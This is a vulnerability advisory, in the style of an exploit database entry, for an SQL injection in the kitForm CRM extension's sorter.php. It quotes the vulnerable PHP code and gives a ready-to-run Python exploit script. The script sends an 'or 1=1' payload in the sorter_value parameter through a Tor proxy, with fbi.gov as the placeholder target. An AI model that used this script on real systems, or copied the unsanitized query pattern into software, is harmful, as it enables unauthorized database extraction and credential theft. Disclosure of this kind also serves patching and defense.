kitForm CRM Extension 0.43 (sorter.php, sorter_value param) - SQL Injection

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Happy easter..

* Product: phpManufaktur / kitForm
* Version: <= 0.43 (2013-11-22)
* Date: 2014-04-20
* Criticality: Medium
* Exploitable from: Remote
* Impact: SQL Injection
* Product URL: https://github.com/phpManufaktur/kitForm

1. Vendor Description:

kitForm is an extension for the Customer Relationship Management (CRM)
KeepInTouch and the Content Management Systems WebsiteBaker or LEPTON
CMS. It enables the easy creation of forms and dialogs for the CMS and
the CRM.

2. Vulnerability

A SQL injection error within the sorter.php file can be exploited by
unauthenticated people to conduct SQL injection attacks. The file does
not sanitize the "sorter_value" parameter before using the value in a
SQL query.

A successful exploit can extract database content and e.g.
administrative credentials (password hash).

22. $sorter_table = $_POST['sorter_table'];
23. switch ($sorter_table):
24. case 'mod_kit_form':
25.  // Frageboegen sortieren
26.   $rowIDs = implode(',', $_POST['rowID']);
27.  $sorter_value = $_POST['sorter_value'];
28.  $SQL = sprintf(  "UPDATE %smod_kit_form_table_sort
  SET sort_order='%s' WHERE sort_table='%s'
  AND sort_value='%s'",
29.  TABLE_PREFIX, $rowIDs, $sorter_table, $sorter_value);
30.  $database->query($SQL);

3. Exploit

 1. import httplib2, socks, urllib
 2.
 3. ### Change these values ###
 4. target = "http://fbi.gov"
 5. SQLi = "or 1=1 #"
 6. tor_http_proxy = 8118
 7.
 8. httplib2.debuglevel=4
 9.
10. headers = {
11.  'User-Agent': 'Mozilla/5.0 (Windows; U; Windows NT 5.1;
  zh-CN; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4',
12.   'Content-Type': 'application/x-www-form-urlencoded'
13. }
14. h = httplib2.Http(proxy_info = httplib2.ProxyInfo(
  socks.PROXY_TYPE_HTTP, '127.0.0.1', tor_http_proxy, timeout=30)
15.
16. data = dict(
17.     rowID = "1",
18.     sorter_table = "mod_kit_form",
19.     sorter_value = "AAAA' %s" % SQLi  # <-- injection
20. )
21.
22. resp, content = h.request(
  "%s" % target, "POST", urllib.urlencode(data), headers=headers)
23
24 print resp
25 print content

xoxo chapp
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